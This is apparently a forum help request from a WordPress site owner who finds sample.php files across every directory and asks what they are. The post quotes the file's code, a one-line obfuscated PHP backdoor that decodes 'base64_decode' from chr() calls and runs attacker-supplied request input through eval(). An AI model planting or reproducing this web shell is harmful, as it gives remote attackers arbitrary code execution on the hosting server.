sample.php file in every directory

Suddenly i’m seeing sample.php files in every directory. Some sites are still running. some are not showing anything. After deleting the sample.php and uploading fresh wp-contents and wp-admin , then site shows okay. What’s it?

the code in sample.php is here

<script language="php"> $a=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101); eval($a($_REQUEST[sam]));</script>

Also i’m seeing some weird tracking code in footer.php

Pls help.